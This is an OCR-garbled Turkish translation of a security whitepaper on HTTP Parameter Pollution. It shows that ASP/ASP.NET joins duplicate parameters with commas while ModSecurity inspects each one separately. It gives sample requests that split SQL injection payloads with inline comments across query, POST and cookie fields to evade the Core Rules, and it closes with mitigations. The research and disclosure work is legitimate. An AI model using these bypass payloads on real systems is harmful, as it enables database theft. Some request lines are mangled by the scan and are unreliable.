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Ozet:

Web Uygulamasi Giivenlik Duvarlar1 (WAF'ler) HTTP trafigini izler ve bir
beyaz liste veya kara liste kural tabanini temel alan uygulama diizeyinde
saldirilar1 engellemeye calisir.

Korunmaya calistiklart web sunucusundaki uygulamadan farkli olabilecek kendi
HTTP uygulamalarina sahiptirler.

Protokolde daha ince detaylarin ve anormalliklerin WAF ve web sunucusu
tarafindan nasil islendigine bagli olarak, ayn1t HTTP paketi bu iki cihaz
tarafindan farkl sekillerde yorumlanabilir.

Bu davranis genellikle “Empedans Uyusmazlig1” olarak adlandirilir ve glivenlik
etkileri filtre bypass saldirilaridir. Empedans uyumsuzluguna karsi saldirilar
gecmiste birgok WAF'de kesfedildi ve ayrica TCP / IP y1gin1 uygulamasindaki
farkin hedeflendigi ag giivenlik duvarlarini da etkiliyor.

Simdiye kadar ¢ok az dikkat ¢eken veya hi¢ dikkat gekmeyen bir empedans
uyumsuzlugu vardir; bu, ayni isimde birden fazla GET / POST / Cookie
parametresinin tek bir HTTP isteginde bulunmasinin etkisidir. Birden fazla
yinelenen parametre gondermek, Luca Carettoni ve Stefano Di Paola tarafindan
HTTP Parametre Kirliligi olarak adlandirildi.

Bu yazida, IIS iizerinde ¢alisan ASP ve ASP.NET uygulamalarinin ayni adda
birden fazla HTTP parametresi olan istekleri aldiklarinda nasil davrandiklarin
tartistyoruz. Ve bu davranisin, 6rnek olarak varsayilan Cekirdek Kurallarinda
calisan popiiler Acik Kaynak WAF, ModSecurity kullanarak Web Uygulamasi
Giivenlik Duvarlarini atlamak i¢in nasil kullanilabilecegi.

Bu yazinin geri kalaninda "HTTP parametreleri", aksi agikca belirtilmedigi
stirece GET, POST ve Cookie parametrelerini ve "ASP / ASP.NET
uygulamalar1", IIS 6'da ¢alisan ASP / ASP.NET uygulamalarina atifta bulunur.



ASP/ASP.Net’s davranisi:

Ayni isteme sahip birden fazla GET / POST / Cookie parametresi HTTP isteginde ASP
ve ASP.NET uygulamalarina gegirildiginde, bunlar bir dizi koleksiyonu olarak
degerlendirilir. Bu, aralarindaki virgiil ile birlestirilmis degerlere yol agar.

Asagidaki HTTP istegini goz oniinde bulundurun:

4 )

POST /index.aspx?a=1&a=2
Host: www.example.com
Cookie: a=5; a=6
Content-Length: 7

K a=3&a=4 /

Istek 1.0: Ayn1 adda birden ¢ok parametreli 6rnek HTTP POST istegi

Bu istekte, 'a' parametresi bir kereden fazla mevcut ve sorguda, POST gévdesinde ve
¢erezde mevcut.

Bu istek ASP / ASP.NET uygulamalarina gonderilirse, sunucu tarafinda 'a’ degerinin
olugmasi ilgingtir.

ASP / ASP.NET, parametrenin her bir 6rneginin degerini aralarinda virgiille
birlestirir.

Ve degerlerin siras1 soldan sagadir, yani parametrenin ilk 6rneginin degeri once gelir,
sonra ikincisi vb.

Ve istegin farkli boliimleri arasinda, querystring'deki degerler 6nce POST
govdesindeki degerler, ardindan da Cookie'deki degerler gelir.

Yukaridaki istekte, "a" nin degeri sOyle bir araya getirilir - "1,2,3,4,5,6".

ASP / ASP.NET'te istek parametrelerinin degerleri 'Istek' nesnesinin ézelliklerinde
saklanir.



Asagidaki 6zellikler istek parametreleri degerlerini alir:
1) Request.QuerysString:

Hem ASP hem de ASP.NET'te mevcuttur ve hem GET hem de POST
yontemlerinin sorgulanmasinda gecen parametrelerin degerlerini alir.

2) Request.Form:

Hem ASP hem de ASP.NET'te bulunur ve POST govdesinde gegirilen
parametrelerin degerlerini alir.

3) Request.Params:
Yalnizca ASP.NET"te kullanilabilir ve Querystring'de, POST gdovdesinde ve
Cerezlerden bu sirada verilen parametrelerin degerlerini alir. ASP.NET formunda

alanlarin sunucu tarafi kontrolleri olarak kaydedilmesi gerekir, aksi takdirde
POST govdesindeki varligi goz ard1 edilir.

1.0 talebi durumunda, bu 6zelliklerin degerleri soyle olacaktir:

Value of the
Property parameter Conditions and Support
1,2,3,4,5,6 If ‘a’ was registered as a server-side control
Request.Params["a"] ASP.NET Only
1,2,5,6 If ‘a’ was not registered as a server-side control
Request.Params["a"] ASP.NET Only
Request.QueryString["a"] 1,2 ASP and ASP.NET
Request.Form["a"] 3,4 ASP and ASP.NET

Tablo 1.0: “Istek” nesnesinin farkli 6zelliklerinin deger olusumlari



ModSecurity’s:

ModSecurity'nin ayni isimdeki birden fazla parametreyi yorumlamasi son derece
basittir.

Ayni1 parametrenin her 6rnegini ayri1 bir parametre olarak goriir ve bu sekilde kural
tabanina gore karsilastirir.

Istek 1.0 olmas1 durumunda, ModSecurity her bir “a” 6rneginin degerini alir ve onu
kural tabanina gore eslestirir.

Yani, 6nce "1" ile ayr1 ayri1, ardindan "2" ile "6" kadar eslesir.

Bu, ASP / ASP.NET'in bu istekleri isleme bi¢iminden ¢ok farklidir ve bu nedenle
ayni1 istek ModSecurity ve ASP / ASP.NET tarafindan iki ¢ok farkli sekilde
yorumlanir ve parametrenin degerleri lizerindeki anlam da her iki durumda da
tamamen farklidir.



Filtre Atlatma:

Davranistaki bu fark, ModSecurity Cekirdek Kurallarindaki SQL Injection
filtrelerini atlamak i¢in kullanilabilir.

Basit Atak:

Asagidaki istek, bir SQL Injection saldirisi olarak ModSecurity Cekirdek Kurallari ile
eslesir ve cihaz tarafindan engellenir:

http://www.example.com/search.aspx?q=select name,password from users

Istek 1.1: Bir URL parametresinde Basit SQL Enjeksiyonu

Ayni yiik, ayn1 ismin birden fazla parametresine boliindiigiinde ModSecurity
bunu engelleyemez.

http://www.example.com/search.aspx?q=select name&q=password from users

Istek 1.2: Ayn1 adi tastyan iki URL parametresine boliinmiis SQL Enjeksiyon yiikii

Istek 1.2 sunucu tarafinda da aym etkiye sahiptir, ¢iinkii ASP / ASP.NET
kopya degerleri bir araya getirir.

ModSecurity'nin istek 1.2'yi yorumlamas:

g= select name
g= password from users

ASP / ASP.NET'in istek 1.2'yi yorumlamast:

g= select name,password from users

n_n

Request.QueryString["q"] => select name,password from users




Bu saldir1 bir POST degiskeninde benzer sekilde gergeklestirilebilir:

~

(_ POST /search.aspx
Host: www.example.com
Content-Length: 35

g=select name&q=password from users

(S /

Istek 1.3: Ayn1 isimde iki POST parametresine bdliinmiis SQL
Enjeksiyon yiikii

ModSecurity'in istek 1.3 yorumu

g=select name
g= password from users

ASP / ASP.NET'in istek 1.3'in yorumu sdyledir:

g= select name,password from users

"n_n

Request.Forms["q"] => select name,password from users

Satir i¢i Yorumlar1 Kullanma:
Hemen hemen tiim ASP / ASP.NET uygulamalari, arka ug veritabani olarak MS SQL
kullanir.

MS SQL, satir i¢i bir yorumun bosluk karakteri yerine kullanabilecegi satir ici
yorumlari destekler.

Satir i¢i yorumlar, sunucu tarafindan tanitilan virgiil artik gecersiz hale getirilebildigi
icin yiik tasima islemini biiytlik 6l¢tide kolaylastirir.

Daha 6nce tartigilan temel saldiri, asagida gosterildigi gibi satir i¢i yorumlar 6zelligi
kullanilarak iyilestirilebilir:



http://www.example.com/search.aspx?q=select/*&q=*/name&q=password/*&q
=*/from/*&q="/users

Request 1.4: SQL Injection payload with inline comments

[stek 1.4"in yorumlanmast:

g=select/*
g=*/name
g=password/*
g=*/from/*

=%/
\‘q users )

ASP / ASP.NET'in istek 1.4%in yorumlanmast:

g= select/*,*/name,password/*,*/from/**/users

n_n

Request.QueryString["q"] => select/*,*/name,password/*,*/from/**/users

Hedef, HTTP parametre degerini toplamak i¢in 'Request.Params' kullanan bir ASP.NET
uygulamasiysa, yiik yiikii Querystring, POST govdesi ve Cerez arasinda boliinebilir.

Asagidaki istek, yiikiin nasil boliindiiglinii gosterir:

\

/_POST /index.aspx?q=select/*&q="/name
Host: www.example.com
Cookie: g=*/users
Content-Length: 23

g=password/*&q="/from/*

Istek 1.5: Tiim alanlara satir i¢i yorumlarla SQL Injection yiikii




ModSecurity'nin istek 1.5 yorumu

~

g=select/*
g="/name
gq=password/*
g=*/from/*

=*/users
U Y,

ASP / ASP.NET'in istek 1.5'in yorumu:

g= select/*,*/name,password/*,*/from/**/users

n_n

Request.Params["q"] --> select/*,*/name,password/*,*/from/* */users

Simdiye kadar acik olmasi gerekir ki, satir i¢i yorumlar 6zelligi, ylik bolme
stirecini ¢ok esnek kilmaktadir.

Bir boslukla boliinen her karakter, sembol veya kelime, bu teknik
kullanilarak ayr1 bir parametreye konulabilir.

Bu, ModSecurity'in kural tabani ile eslesmeye ¢alisirken bir kerede yalnizca
tek bir kelimeye, karaktere veya sembole bakacagi anlamina gelir.

Bu, ModSecurity Cekirdek Kurallarindaki SQL Injection saldirisi i¢in tiim
imzalar1 atlamay1 miimkiin kilar.



Azaltma:

Bu saldirinin en kolay sekilde azaltilmast WAF igin ayni1 parametrenin birden fazla
ornegini tek bir HTTP isteginde vermemek olacaktir. Bu, bu saldirinin tim
cesitlemelerini 6nleyecektir.

Ancak, bazi uygulamalarin birden fazla yinelenen parametreye mesru bir ihtiyag
duymasi nedeniyle bu her durumda miimkiin olmayabilir. Ve ayni istekte ayni ismin
birden fazla HTTP parametresini gondermek ve kabul etmek igin tasarlanmig
olabilirler.

Bu uygulamalar1 korumak i¢in WAF, HTTP istegini de web uygulamasinin yaptigi
gibi yorumlamalidir.

Bu durumda ¢oklu GET / POST / Cerez parametrelerini aralarindaki virgiil ile
birlestirmek anlamina gelir.

Birlestirme sirasi, yukarida tartisilan ASP / ASP.NET uygulamalarininkiyle ayni
olmalidir.

Ancak, burada g6z 6niinde bulundurulmasi gereken 6nemli bir uyar1 var.
ASP.NET uygulamalarinda 'Request.Params' kullanildiginda, POST govdesi
verilerinin parametreye eklenmesi, sunucu tarafinda kontrol olarak ilan edilmesine

baghdir.

Buna uyum saglamak i¢in WAF, tablo 1.0'da gosterilen tiim kombinasyonlara
degerler eklemelidir.



Notlar:

Bu tanitim belgesinde agiklanan saldirilar, ModSecurity Core Rules v 2.5-1.6.1
kullanilarak ModSecurity v2.5.9'da test edilmistir.

Bu versiyonlar bu yazidaki en son versiyonlardi.

Saldirilar sadece ModSecurity'de test edilmis olsa da, diger Web Uygulama Giivenlik
Duvarlarina karsi da etkili olabilirler.

HTTP Parametre Kirliligi yeni bir kavram oldugundan, bu alanda daha 6nce resmi
calisma yapilmayan ya da hi¢ olmadigi i¢in ¢ogu WAF saticis1 / gelistiricisi bu saldiri
hattin1 diistinmemis olabilir.

Luca Carettoni'ye, bana ¢ift parametrelerin kullanilmasi kavramini tanittig igin
tesekkiir ederim. Bir PHP uygulamasi olan DFLabs PTK igin bir POC istismarinin
gelistirilmesinde bu teknigi ¢cok etkili bir sekilde kullandi.

Yinelenen parametrelerin diger uygulama ortamlar iizerindeki etkilerini incelerken
ASP & ASP.NET'in ¢ok farkli davrandigini ve WAF bypassinda kullanilabilecegini
buldum.
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